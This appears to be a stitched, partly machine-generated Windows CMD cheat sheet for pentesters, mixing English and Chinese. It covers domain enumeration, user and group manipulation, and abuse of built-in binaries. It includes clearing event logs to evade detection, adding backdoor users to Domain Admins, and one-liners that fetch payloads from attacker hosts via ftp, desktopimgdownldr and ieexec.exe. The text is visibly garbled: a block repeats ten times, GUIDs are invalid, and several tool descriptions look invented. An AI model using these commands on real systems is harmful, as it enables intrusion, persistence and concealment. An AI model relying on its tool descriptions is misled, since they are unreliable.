CMD (Command Prompt) is a command-line interpreter for Windows operating systems. It allows users to execute commands and perform various tasks using a text-based interface.
These are just a few basic CMD commands that can be useful for pentesters. CMD provides a wide range of functionalities for managing and interacting with the Windows operating system. Exploring and understanding these commands can greatly enhance a pentester's capabilities.
When performing a penetration test on a Windows system, it is important to understand the mounted disks. Mounted disks are additional storage devices that have been attached to the system and are accessible to the operating system.
To view the mounted disks on a Windows system, you can use the `mountvol` command. This command displays a list of all the mounted volumes along with their corresponding volume names and paths.
Possible values for VolumeName along with current mount points are:
\\?\Volume{d3e5e6f7-8a9b-1c2d-3e4f-5g6h7i8j9k0l}\
*** NO MOUNT POINTS ***
\\?\Volume{a1b2c3d4-e5f6-g7h8-i9j0-k1l2m3n4o5p6}\
C:\
\\?\Volume{m3n4o5p6-q7r8-s9t0-u1v2-w3x4y5z6a7b8}\
D:\
```
The output of the `mountvol` command shows the volume names and their corresponding mount points. In the example above, the `C:` drive is mounted to the volume named `{a1b2c3d4-e5f6-g7h8-i9j0-k1l2m3n4o5p6}` and the `D:` drive is mounted to the volume named `{m3n4o5p6-q7r8-s9t0-u1v2-w3x4y5z6a7b8}`.
Understanding the mounted disks can be useful during a penetration test as it allows you to identify additional storage devices that may contain sensitive information or provide potential attack vectors.
wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users
wmic sysaccount list /format:list #Dumps information about any system accounts that are being used as service accounts.
# Groups
net group /domain #List of domain groups
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here)
net group "Domain Admins" /domain #List users with domain admin privileges
net group "domain computers" /domain #List of PCs connected to the domain
net group "Domain Controllers" /domain #List PC accounts of domains controllers
wmic group list /format:list # Information about all local groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group
# Computers
dsquery computer #Get all computers
net view /domain #Lis of PCs of the domain
nltest /dclist:<DOMAIN>#List domain controllers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers
Logs and events are crucial sources of information for a pentester. They provide valuable insights into the activities and behaviors of a system or network. By analyzing logs and events, a pentester can identify vulnerabilities, detect suspicious activities, and gain a better understanding of the target environment.
Windows operating systems generate various event logs that record important system events. These logs can be accessed using the Event Viewer tool or the command-line interface. The following are some commonly used Windows event logs:
- **Application Log**: Records events related to applications and programs.
- **应用程序日志**：记录与应用程序和程序相关的事件。
- **Security Log**: Records security-related events such as logon attempts, privilege use, and system access.
- **安全日志**：记录与安全相关的事件，如登录尝试、权限使用和系统访问。
- **System Log**: Records events related to the operating system and system components.
- **系统日志**：记录与操作系统和系统组件相关的事件。
- **Setup Log**: Records events related to the installation of software and hardware.
- **安装日志**：记录与软件和硬件安装相关的事件。
- **Forwarded Events**: Records events forwarded from other computers in the network.
- **转发的事件**：记录从网络中的其他计算机转发的事件。
#### Event Log Clearing
#### 清除事件日志
As a pentester, it is important to clear event logs to cover your tracks and avoid detection. The following command can be used to clear event logs:
作为渗透测试人员，清除事件日志以覆盖你的踪迹并避免被检测是很重要的。可以使用以下命令清除事件日志：
```plaintext
wevtutil cl <log_name>
```
Replace `<log_name>` with the name of the event log you want to clear, such as "Application", "Security", or "System".
将`<log_name>`替换为要清除的事件日志的名称，例如“应用程序”、“安全”或“系统”。
#### Event Log Backup
#### 事件日志备份
Backing up event logs is essential for preserving evidence and maintaining a record of system activities. The following command can be used to back up event logs:
备份事件日志对于保留证据和记录系统活动至关重要。可以使用以下命令备份事件日志：
```plaintext
wevtutil epl <log_name><backup_file.evtx>
```
Replace `<log_name>` with the name of the event log you want to back up, and `<backup_file.evtx>` with the desired backup file name.
Monitoring event logs in real-time can help detect and respond to security incidents promptly. The following command can be used to monitor event logs:
实时监控事件日志可以帮助及时检测和响应安全事件。可以使用以下命令监控事件日志：
```plaintext
wevtutil qe <log_name> /f:text /c:1 /rd:true
```
Replace `<log_name>` with the name of the event log you want to monitor, such as "Application", "Security", or "System".
将`<log_name>`替换为要监控的事件日志的名称，例如“应用程序”、“安全”或“系统”。
#### Windows Event Forwarding
#### Windows事件转发
Windows Event Forwarding allows you to collect events from multiple computers in a centralized location for analysis. The following steps outline the process of configuring Windows Event Forwarding:
1. Configure the event source computer to forward events to a collector computer.
2. Configure the collector computer to collect events from the event source computer.
3. Verify that events are being forwarded and collected successfully.
1. 配置事件源计算机将事件转发到收集器计算机。
2. 配置收集器计算机从事件源计算机收集事件。
3. 验证事件是否成功转发和收集。
#### Sysmon
#### Sysmon
Sysmon (System Monitor) is a powerful Windows utility that provides detailed information about system activity. It can be used to monitor and log events related to process creation, network connections, file creation, and more. Sysmon logs can be analyzed to identify malicious activities and indicators of compromise.
Analyzing event logs is an essential part of the pentesting process. It helps identify security weaknesses, detect suspicious activities, and uncover potential attack vectors. The following are some key areas to focus on when analyzing event logs:
- Look for failed login attempts and brute-force attacks.
- 寻找登录尝试失败和暴力破解攻击。
- Identify privilege escalation attempts.
- 识别权限提升尝试。
- Monitor for suspicious network connections and traffic.
- 监控可疑的网络连接和流量。
- Analyze process creation events for signs of malicious activity.
- 分析进程创建事件以寻找恶意活动的迹象。
- Check for unauthorized access attempts and suspicious file modifications.
- 检查未经授权的访问尝试和可疑的文件修改。
By carefully analyzing event logs, a pentester can gain valuable insights into the security posture of a system or network and identify potential vulnerabilities or security breaches.
通过仔细分析事件日志，渗透测试人员可以深入了解系统或网络的安全状况，并识别潜在的漏洞或安全漏洞。
```bash
#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
```
## 用户和组
### 用户
#### 查看当前登录用户
```bash
whoami
```
#### 查看所有用户
```bash
net user
```
#### 查看用户详细信息
```bash
net user <username>
```
#### 创建新用户
```bash
net user <username><password> /add
```
#### 删除用户
```bash
net user <username> /delete
```
#### 修改用户密码
```bash
net user <username><new_password>
```
### 组
#### 查看所有组
```bash
net localgroup
```
#### 查看组成员
```bash
net localgroup <groupname>
```
#### 创建新组
```bash
net localgroup <groupname> /add
```
#### 删除组
```bash
net localgroup <groupname> /delete
```
#### 将用户添加到组
```bash
net localgroup <groupname><username> /add
```
#### 从组中删除用户
```bash
net localgroup <groupname><username> /delete
```
```bash
#Me
whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges
# Local users
net users #All users
dir /b /ad "C:\Users"
net user %username% #Info about a user (me)
net accounts #Information about password requirements
wmic USERACCOUNT Get Domain,Name,Sid
net user /add [username] [password] #Create user
# Other users looged
qwinsta #Anyone else logged in?
#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
#Check current logon session as administrator using logonsessions from sysinternals
logonsessions.exe
logonsessions64.exe
```
### 用户组
User groups are a way to organize and manage users on a system. Each user can be a member of one or more groups, and groups can have certain permissions and access rights assigned to them. In Windows, there are several built-in groups that serve specific purposes. Here are some commonly used groups:
- **Administrators**: This group has full control over the system and can perform any administrative task.
- **Users**: This group includes all standard users on the system.
- **Guests**: This group provides limited access to the system for guest users.
- **Power Users**: This group has more privileges than standard users but fewer than administrators.
- **Backup Operators**: Members of this group can perform backup and restore operations on the system.
- **Remote Desktop Users**: This group is allowed to access the system remotely using Remote Desktop.
- **Network Configuration Operators**: Members of this group can manage network configuration settings.
- **Print Operators**: Members of this group can manage printers on the system.
- **Event Log Readers**: Members of this group can read event logs on the system.
To view the groups on a Windows system, you can use the `net localgroup` command. For example, to list all the groups, you can run:
```plaintext
net localgroup
```
To view the members of a specific group, you can use the `net localgroup <groupname>` command. For example, to view the members of the Administrators group, you can run:
```plaintext
net localgroup Administrators
```
To add a user to a group, you can use the `net localgroup <groupname> <username> /add` command. For example, to add a user named "john" to the Administrators group, you can run:
```plaintext
net localgroup Administrators john /add
```
To remove a user from a group, you can use the `net localgroup <groupname> <username> /delete` command. For example, to remove a user named "john" from the Administrators group, you can run:
```plaintext
net localgroup Administrators john /delete
```
Remember that administrative privileges are required to perform these operations.
```bash
#Local
net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
net localgroup administrators [username] /add #Add user to administrators
#Domain
net group /domain #Info about domain groups
net group /domain <domain_group_name>#Users that belongs to the group
```
### 列出会话
To list the active sessions in a Windows system, you can use the following command:
```plaintext
C:\> net session
```
This command will display a list of all active sessions on the system, including the username, computer name, and session ID.
```
qwinsta
klist sessions
```
### 密码策略
A strong password policy is essential for maintaining the security of a system. It helps to prevent unauthorized access and protects sensitive information. Here are some key elements to consider when implementing a password policy:
- **Password Complexity**: Require users to create passwords that are complex and difficult to guess. This can be achieved by enforcing a minimum length, including a combination of uppercase and lowercase letters, numbers, and special characters.
- **Password Expiration**: Set a time limit for password expiration. This ensures that users regularly update their passwords and reduces the risk of compromised accounts.
- **Password History**: Implement a password history feature that prevents users from reusing their previous passwords. This helps to prevent attackers from gaining access to an account by guessing a previously used password.
- **Account Lockout**: Implement an account lockout policy that temporarily locks an account after a certain number of failed login attempts. This helps to prevent brute-force attacks and unauthorized access.
- **Password Recovery**: Implement a secure password recovery process that verifies the identity of the user before allowing them to reset their password. This helps to prevent unauthorized password resets.
By implementing a strong password policy, organizations can significantly enhance the security of their systems and protect against unauthorized access.
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access
```
### 持久化与用户
#### Add a user to the local administrators group
#### 将用户添加到本地管理员组
```plaintext
net localgroup administrators <username> /add
```
#### Add a user to the local Remote Desktop Users group
#### 将用户添加到本地远程桌面用户组
```plaintext
net localgroup "Remote Desktop Users" <username> /add
```
#### Add a user to the local Remote Management Users group
#### 将用户添加到本地远程管理用户组
```plaintext
net localgroup "Remote Management Users" <username> /add
```
#### Add a user to the local Power Users group
#### 将用户添加到本地Power Users组
```plaintext
net localgroup "Power Users" <username> /add
```
#### Add a user to the local Backup Operators group
#### 将用户添加到本地备份操作员组
```plaintext
net localgroup "Backup Operators" <username> /add
```
#### Add a user to the local Performance Monitor Users group
#### 将用户添加到本地性能监视器用户组
```plaintext
net localgroup "Performance Monitor Users" <username> /add
```
#### Add a user to the local Performance Log Users group
#### 将用户添加到本地性能日志用户组
```plaintext
net localgroup "Performance Log Users" <username> /add
```
#### Add a user to the local Event Log Readers group
#### 将用户添加到本地事件日志读取器组
```plaintext
net localgroup "Event Log Readers" <username> /add
```
#### Add a user to the local Distributed COM Users group
#### 将用户添加到本地分布式COM用户组
```plaintext
net localgroup "Distributed COM Users" <username> /add
```
#### Add a user to the local IIS_IUSRS group
#### 将用户添加到本地IIS_IUSRS组
```plaintext
net localgroup "IIS_IUSRS" <username> /add
```
#### Add a user to the local Cryptographic Operators group
#### 将用户添加到本地加密操作员组
```plaintext
net localgroup "Cryptographic Operators" <username> /add
```
#### Add a user to the local Hyper-V Administrators group
#### 将用户添加到本地Hyper-V管理员组
```plaintext
net localgroup "Hyper-V Administrators" <username> /add
```
#### Add a user to the local Hyper-V Administrators group
#### 将用户添加到本地Hyper-V管理员组
```plaintext
net localgroup "Hyper-V Administrators" <username> /add
```
#### Add a user to the local Hyper-V Administrators group
#### 将用户添加到本地Hyper-V管理员组
```plaintext
net localgroup "Hyper-V Administrators" <username> /add
```
#### Add a user to the local Hyper-V Administrators group
#### 将用户添加到本地Hyper-V管理员组
```plaintext
net localgroup "Hyper-V Administrators" <username> /add
```
#### Add a user to the local Hyper-V Administrators group
#### 将用户添加到本地Hyper-V管理员组
```plaintext
net localgroup "Hyper-V Administrators" <username> /add
```
#### Add a user to the local Hyper-V Administrators group
#### 将用户添加到本地Hyper-V管理员组
```plaintext
net localgroup "Hyper-V Administrators" <username> /add
```
#### Add a user to the local Hyper-V Administrators group
#### 将用户添加到本地Hyper-V管理员组
```plaintext
net localgroup "Hyper-V Administrators" <username> /add
```
#### Add a user to the local Hyper-V Administrators group
#### 将用户添加到本地Hyper-V管理员组
```plaintext
net localgroup "Hyper-V Administrators" <username> /add
```
#### Add a user to the local Hyper-V Administrators group
#### 将用户添加到本地Hyper-V管理员组
```plaintext
net localgroup "Hyper-V Administrators" <username> /add
```
#### Add a user to the local Hyper-V Administrators group
#### 将用户添加到本地Hyper-V管理员组
```plaintext
net localgroup "Hyper-V Administrators" <username> /add
```
```bash
# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN
# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD
# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add
```
## 网络
### 接口、路由、端口、主机和DNS缓存
#### Interfaces (接口)
To view the network interfaces on a Windows system, you can use the `ipconfig` command. This command will display information about all the network interfaces, including their IP addresses, subnet masks, and default gateways.
```plaintext
ipconfig
```
#### Routes (路由)
To view the routing table on a Windows system, you can use the `route print` command. This command will display information about the routes configured on the system, including the destination network, subnet mask, gateway, and interface.
```plaintext
route print
```
#### Ports (端口)
To view the open ports on a Windows system, you can use the `netstat` command. This command will display a list of all the active connections and listening ports on the system.
```plaintext
netstat -ano
```
#### Hosts (主机)
To view the hosts file on a Windows system, you can use the `notepad` command. This command will open the hosts file in Notepad, allowing you to view and edit its contents.
```plaintext
notepad C:\Windows\System32\drivers\etc\hosts
```
#### DNSCache (DNS缓存)
To view the DNS cache on a Windows system, you can use the `ipconfig /displaydns` command. This command will display a list of all the DNS entries that have been cached by the system.
A firewall is a network security device that monitors and filters incoming and outgoing network traffic based on predetermined security rules. It acts as a barrier between a trusted internal network and an untrusted external network, such as the internet. Firewalls can be implemented as hardware devices or software programs.
Firewalls can be configured to allow or block specific types of traffic based on various criteria, such as source IP address, destination IP address, port number, and protocol. They help protect networks from unauthorized access, malicious attacks, and data breaches.
Firewalls are an essential component of network security and are commonly used in both home and enterprise environments. They provide an additional layer of defense by controlling and monitoring network traffic, reducing the risk of unauthorized access and potential security breaches.
Network interfaces, also known as network adapters or NICs (Network Interface Cards), are hardware devices that allow computers to connect to a network. They provide the necessary physical connection between the computer and the network, enabling data transmission.
In Windows, you can view and manage network interfaces using the `ipconfig` command. This command displays detailed information about each network interface, including its IP address, subnet mask, default gateway, and more.
To view the network interfaces, open a command prompt and type `ipconfig`. This will display a list of all network interfaces on the system, along with their corresponding information.
You can also use the `ipconfig /all` command to view additional information about the network interfaces, such as the MAC address, DNS servers, and DHCP lease information.
In addition to `ipconfig`, you can use the `netsh` command to manage network interfaces. The `netsh` command provides more advanced options for configuring and troubleshooting network interfaces.
For example, you can use the `netsh interface show interface` command to display a list of all network interfaces, along with their operational status and other information.
例如，您可以使用`netsh interface show interface`命令显示所有网络接口的列表，以及它们的操作状态和其他信息。
Understanding and managing network interfaces is essential for network troubleshooting and configuration. By using the appropriate commands, you can easily view and modify network interface settings to ensure optimal network connectivity.
```bash
ipconfig /all
```
### ARP表
The ARP (Address Resolution Protocol) table is a network mapping table that associates IP addresses with their corresponding MAC addresses. It is used by network devices to determine the MAC address of a destination IP address before sending data packets. The ARP table is stored in the memory of a device and is constantly updated as devices communicate on the network.
To view the ARP table on a Windows system, you can use the `arp` command in the command prompt. Simply open the command prompt and type `arp -a` to display the ARP table. The output will show the IP addresses and corresponding MAC addresses of devices that the system has communicated with.
The ARP table is useful for troubleshooting network connectivity issues, identifying devices on the network, and detecting potential ARP spoofing attacks. By analyzing the ARP table, you can verify if the correct MAC address is associated with each IP address and identify any discrepancies or suspicious entries.
It's important to note that the ARP table is specific to each device and is not shared across the network. Therefore, each device maintains its own ARP table based on its network interactions.
CertReq.exe is a command-line tool in Windows that is used to create and submit certificate requests to a certification authority (CA). It is commonly used by system administrators and security professionals for managing certificates in a Windows environment.
## Syntax
The basic syntax for using CertReq.exe is as follows:
```plaintext
CertReq [options] [request_file] [output_file]
```
-`options`: Specifies various options for the certificate request.
-`request_file`: Specifies the input file that contains the certificate request information.
-`output_file`: Specifies the output file where the resulting certificate will be saved.
## Examples
Here are some examples of how CertReq.exe can be used:
1. Generate a certificate request using a template:
3. Accept a certificate response and install the certificate:
```plaintext
CertReq -accept -machine response.cer
```
## Conclusion
CertReq.exe is a powerful command-line tool for managing certificates in a Windows environment. It provides various options for creating and submitting certificate requests, as well as accepting and installing certificate responses. System administrators and security professionals can leverage CertReq.exe to streamline the certificate management process and ensure the security of their Windows systems.
This document provides a list of basic CMD commands that can be useful for pentesters during their engagements. These commands can help in various tasks such as information gathering, privilege escalation, lateral movement, and persistence.
## CMD Commands
### 1. Tasklist
The `tasklist` command displays a list of all running processes on the system. This can be useful for identifying suspicious or malicious processes.
```plaintext
tasklist
```
### 2. Netstat
The `netstat` command displays active network connections, listening ports, and related information. It can help identify open ports and established connections.
```plaintext
netstat -ano
```
### 3. Ipconfig
The `ipconfig` command displays the IP configuration for all network interfaces on the system. It can be used to identify the IP address, subnet mask, and default gateway.
```plaintext
ipconfig /all
```
### 4. Net
The `net` command is used for various network-related tasks. Some useful subcommands include:
-`net user` - Displays user accounts on the system.
-`net group` - Displays group information.
-`net localgroup` - Displays local group information.
-`net share` - Displays shared resources.
```plaintext
net user
```
### 5. Systeminfo
The `systeminfo` command displays detailed information about the system, including the operating system version, hardware information, and installed patches.
```plaintext
systeminfo
```
### 6. Reg
The `reg` command is used to manage the Windows Registry. Some useful subcommands include:
-`reg query` - Displays the values and subkeys of a specified registry key.
-`reg add` - Adds a new registry entry.
-`reg delete` - Deletes a registry entry.
-`reg export` - Exports a registry key to a file.
```plaintext
reg query HKLM\Software
```
### 7. Schtasks
The `schtasks` command is used to manage scheduled tasks on the system. It can be used to create, modify, or delete scheduled tasks.
```plaintext
schtasks /query /fo LIST
```
### 8. Netsh
The `netsh` command is used to configure and monitor network settings. Some useful subcommands include:
The `wmic` command provides a command-line interface to the Windows Management Instrumentation (WMI) infrastructure. It can be used to retrieve information about various system components.
```plaintext
wmic process get name, processid
```
### 10. Taskkill
The `taskkill` command is used to terminate a running process. It can be used to forcefully terminate a process that is not responding or is malicious.
```plaintext
taskkill /f /pid <process_id>
```
## Conclusion
These basic CMD commands can be helpful for pentesters during their engagements. However, it is important to note that these commands should be used responsibly and ethically, following all applicable laws and regulations.
```
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
`Esentutl.exe` 是一个用于管理和维护 Windows 操作系统中的 Extensible Storage Engine (ESE) 数据库的命令行工具。ESE 是一种嵌入式数据库引擎，广泛用于 Windows 系统中的许多应用程序，如 Active Directory、Windows Update 和 Windows Search。
`ftp.exe` is a command-line utility in Windows that allows users to transfer files to and from a remote computer using the File Transfer Protocol (FTP). It is a built-in tool that comes with the Windows operating system.
## Syntax
The basic syntax for using `ftp.exe` is as follows:
Here are some commonly used options with `ftp.exe`:
-`-v`: Enables verbose mode, which displays detailed information about the FTP connection and file transfers.
-`-d`: Enables debugging mode, which provides additional information for troubleshooting purposes.
-`-i`: Disables interactive mode, which suppresses prompts for user confirmation during file transfers.
-`-n`: Suppresses the automatic login feature, allowing the user to manually log in to the FTP server.
-`-g`: Disables filename globbing, which prevents wildcard characters from being expanded in file names.
-`-s:filename`: Specifies a text file containing FTP commands to be executed automatically.
-`-a`: Uses ASCII mode for file transfers, which is suitable for transferring text files.
-`-w:windowsize`: Specifies the size of the receive window for data transfers.
-`-A`: Enables anonymous FTP login, allowing users to log in without providing a username or password.
## Examples
Here are some examples of how to use `ftp.exe`:
1. Connect to an FTP server:
```plaintext
ftp example.com
```
2. Upload a file to the FTP server:
```plaintext
put filename
```
3. Download a file from the FTP server:
```plaintext
get filename
```
4. List files and directories on the FTP server:
```plaintext
ls
```
5. Change the current directory on the FTP server:
```plaintext
cd directory
```
6. Disconnect from the FTP server:
```plaintext
bye
```
## Conclusion
`ftp.exe` is a useful command-line tool for transferring files to and from remote computers using FTP. By understanding its syntax and options, you can effectively use this utility for various file transfer operations.
```
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
`hh.exe` is a Windows executable that is used to launch the Windows Help and Support Center. It is commonly found in the `C:\Windows` directory.
## Usage
To launch the Help and Support Center using `hh.exe`, open a command prompt and run the following command:
```
hh.exe helpctr
```
This will open the Help and Support Center window, where you can search for help topics and access various Windows support resources.
## Command-Line Options
`hh.exe` supports several command-line options that can be used to customize its behavior. Here are some commonly used options:
-`/mapid <mapid>`: Opens the specified Help topic directly.
-`/url <URL>`: Opens the specified URL in the default browser.
-`/find <text>`: Searches for the specified text in the Help content.
-`/index <keyword>`: Displays the Help topics that match the specified keyword.
-`/show <window>`: Displays the specified window in the Help and Support Center.
For example, to open a specific Help topic with the map ID `1234`, you can use the following command:
```
hh.exe helpctr /mapid 1234
```
## Security Considerations
`hh.exe` is a legitimate Windows executable and is not inherently malicious. However, like any other executable, it can be abused by attackers to execute arbitrary commands or launch malicious payloads.
To mitigate the risk of abuse, it is important to ensure that `hh.exe` is only executed from trusted locations and that the command-line options are properly validated. Additionally, keeping the operating system and software up to date with the latest security patches can help prevent potential vulnerabilities from being exploited.
`ieexec.exe` is a command-line utility in Windows that allows you to execute Internet Explorer processes with specific options. It is commonly used by pentesters and hackers to perform various tasks related to web browsing and exploitation.
## Usage
The basic syntax of `ieexec.exe` is as follows:
```
ieexec.exe [options] [URL]
```
-`[options]`: Specifies the command-line options for `ieexec.exe`. These options can be used to control the behavior of Internet Explorer processes.
-`[URL]`: Specifies the URL of the website to be opened in Internet Explorer.
## Examples
Here are some examples of how `ieexec.exe` can be used:
1. Open a website in Internet Explorer:
```
ieexec.exe https://example.com
```
2. Open a website in Internet Explorer with specific options:
`ieexec.exe` is a useful tool for pentesters and hackers who need to interact with Internet Explorer processes from the command line. It provides various options for controlling the behavior of Internet Explorer and performing tasks such as opening websites, executing JavaScript code, and taking screenshots.
```
ieexec.exe http://x.x.x.x:8080/bypass.exe
```
# Makecab.exe
Makecab.exe is a command-line tool in Windows that is used to create cabinet (.cab) files. Cabinet files are compressed archives that can contain multiple files and folders. This tool is commonly used for packaging and compressing files for distribution or installation purposes.
-`/V[n]`: Specifies the verbosity level of the output. Use `/V` for normal output and `/Vn` for more verbose output (where `n` is a number from 1 to 3).
-`/D var=value`: Defines a variable and its value for use in the makecab directive section.
-`/L dir`: Specifies the directory where the output files will be placed.
-`source`: Specifies the file or files to be compressed.
-`destination`: Specifies the name of the cabinet file to be created.
## Examples
1. Compress a single file:
```
makecab file.txt
```
2. Compress multiple files:
```
makecab file1.txt file2.txt file3.txt
```
3. Specify the output directory:
```
makecab /L C:\Output file.txt
```
4. Set verbosity level to 2:
```
makecab /V2 file.txt
```
## Additional Information
- The makecab directive section allows you to specify additional instructions for the compression process, such as file attributes, disk names, and more.
- Cabinet files can be extracted using the `expand` command or by double-clicking on them in Windows Explorer.
`Replace.exe` is a command-line tool in Windows that allows you to replace files in a specified directory. It can be useful for various purposes, including replacing system files, modifying configurations, or performing other file-related operations.
Note: Make sure to replace `C:\path\to\source\file.txt` with the actual path and name of the source file, and `C:\path\to\destination\file.txt` with the actual path and name of the destination file.
## Conclusion
`Replace.exe` is a powerful command-line tool in Windows that allows you to replace files in a specified directory. By understanding its syntax and options, you can efficiently perform file replacement operations as needed.
This document provides a list of basic CMD commands that can be useful for pentesters during their engagements. These commands can help in gathering information, performing reconnaissance, and executing various tasks on a Windows system.
## CMD Commands
### 1. Tasklist
The `tasklist` command displays a list of all running processes on the system. This can be useful for identifying any suspicious or malicious processes.
```plaintext
tasklist
```
### 2. Netstat
The `netstat` command displays active network connections, listening ports, and related information. It can help in identifying any unauthorized network connections or open ports.
```plaintext
netstat -ano
```
### 3. Ipconfig
The `ipconfig` command displays the IP configuration of all network interfaces on the system. It can be used to gather information about the network settings of the target system.
```plaintext
ipconfig /all
```
### 4. Net
The `net` command is used for various network-related operations. Some useful subcommands include:
-`net user` - Displays information about user accounts on the system.
-`net group` - Displays information about user groups on the system.
-`net localgroup` - Displays information about local groups on the system.
```plaintext
net user
net group
net localgroup
```
### 5. Systeminfo
The `systeminfo` command displays detailed information about the system, including the operating system version, hardware configuration, and installed software. This can be useful for identifying vulnerabilities or outdated software.
```plaintext
systeminfo
```
### 6. Reg
The `reg` command is used to manage the Windows Registry. Some useful subcommands include:
-`reg query` - Displays the values and subkeys of a specified registry key.
-`reg add` - Adds a new registry key or value.
-`reg delete` - Deletes a specified registry key or value.
```plaintext
reg query HKLM\Software
reg add HKCU\Software\NewKey
reg delete HKLM\Software\OldKey
```
### 7. Taskkill
The `taskkill` command is used to terminate a running process. It can be useful for stopping any malicious processes or unwanted applications.
```plaintext
taskkill /IM process_name.exe /F
```
### 8. Schtasks
The `schtasks` command is used to manage scheduled tasks on the system. It can be used to create, modify, or delete scheduled tasks.
The `cipher` command is used to manage file encryption on NTFS volumes. It can be used to encrypt or decrypt files and folders.
```plaintext
cipher /E /S:C:\path\to\folder
cipher /D /S:C:\path\to\folder
```
### 10. Eventvwr
The `eventvwr` command opens the Event Viewer, which displays logs and events recorded by the system. It can be used to analyze system events and identify any suspicious activities.
```plaintext
eventvwr
```
## Conclusion
These basic CMD commands can be helpful for pentesters during their engagements. However, it is important to note that these commands should be used responsibly and in accordance with legal and ethical guidelines.
Powerpnt.exe is the executable file for Microsoft PowerPoint, a popular presentation software. It is commonly found on Windows operating systems.
## Usage
To launch PowerPoint using the command prompt, you can use the following command:
```
powerpnt.exe
```
This will open the PowerPoint application, allowing you to create, edit, and present slideshows.
## Command Line Options
Powerpnt.exe supports various command line options that can be used to perform specific tasks. Here are some commonly used options:
-`/s` - Starts PowerPoint in slideshow mode.
-`/n` - Starts a new instance of PowerPoint.
-`/f <filename>` - Opens the specified file in PowerPoint.
-`/m <macro>` - Runs the specified macro when PowerPoint starts.
-`/pt <printername>` - Prints the specified file to the specified printer.
-`/p <filename>` - Prints the specified file without opening PowerPoint.
## Example
To open a PowerPoint file named "presentation.pptx" using the command prompt, you can use the following command:
```
powerpnt.exe /f presentation.pptx
```
This will open the "presentation.pptx" file in PowerPoint.
## Conclusion
Powerpnt.exe is a useful tool for working with PowerPoint files from the command line. By understanding its command line options, you can automate tasks and perform operations more efficiently.
Squirrel.exe is a command-line utility that allows you to interact with the Squirrel framework. It is commonly used by developers to manage and deploy applications built with Squirrel.
## Usage
To use Squirrel.exe, open a command prompt and navigate to the directory where the executable is located. Then, you can run various commands to perform different actions.
### Install
The `install` command is used to install an application. It takes the path to the application package as an argument.
```shell
squirrel.exe install <path_to_package>
```
### Update
The `update` command is used to update an installed application. It takes the path to the updated application package as an argument.
```shell
squirrel.exe update <path_to_package>
```
### Uninstall
The `uninstall` command is used to uninstall an application. It takes the application name as an argument.
```shell
squirrel.exe uninstall <application_name>
```
### Other Commands
Squirrel.exe also provides other commands for managing applications, such as `list`, `releasify`, and `clean`. You can use the `--help` flag with any command to get more information about its usage.
## Conclusion
Squirrel.exe is a powerful command-line utility for managing applications built with the Squirrel framework. By using the various commands provided, you can easily install, update, and uninstall applications, making it a valuable tool for developers.
```
squirrel.exe --download [url to package]
```
# Update.exe
`Update.exe` is a common executable file found in Windows operating systems. It is used to update various software and system components. However, it can also be leveraged by attackers for malicious purposes.
## Malicious Use
Attackers can disguise malware or malicious scripts as `Update.exe` to trick users into running them. This can be done through various methods, such as phishing emails, compromised websites, or social engineering techniques.
Once executed, the malicious `Update.exe` can perform a wide range of actions, including:
- Installing additional malware or backdoors on the system.
- Modifying system settings or configurations.
- Stealing sensitive information, such as login credentials or personal data.
- Initiating unauthorized network connections.
- Exploiting vulnerabilities in the system or other software.
## Prevention and Mitigation
To protect against malicious `Update.exe` files, consider the following preventive measures:
1.**Exercise caution**: Be wary of downloading or running any files named `Update.exe` from untrusted sources.
2.**Keep software up to date**: Regularly update your operating system and software applications to patch any vulnerabilities that could be exploited by attackers.
3.**Use reliable security software**: Install and maintain reputable antivirus and anti-malware software to detect and block malicious files.
4.**Enable firewalls**: Enable and configure firewalls to monitor and control incoming and outgoing network traffic.
5.**Educate users**: Train users to be cautious when downloading files or clicking on links, especially from unknown or suspicious sources.
By following these preventive measures, you can reduce the risk of falling victim to malicious `Update.exe` files and protect your system from potential attacks.
```
Update.exe --download [url to package]
```
# Basic CMD for Pentesters
## Winword.exe
`winword.exe` is the executable file for Microsoft Word, a popular word processing program. It is commonly found on Windows operating systems.
### Execution
To execute `winword.exe`, you can simply type `winword` in the command prompt and press Enter. This will launch the Microsoft Word application.
```
winword
```
### Command Line Arguments
`winword.exe` supports various command line arguments that can be used to perform specific actions or tasks. Here are some commonly used arguments:
-`/n` - Opens a new instance of Microsoft Word.
-`/t` - Opens a specified file.
-`/m` - Executes a specific macro or command.
-`/q` - Starts Word without displaying the splash screen.
To use these arguments, you can append them to the `winword` command. For example, to open a specific file, you can use the `/t` argument followed by the file path:
```
winword /t C:\path\to\file.docx
```
### Additional Information
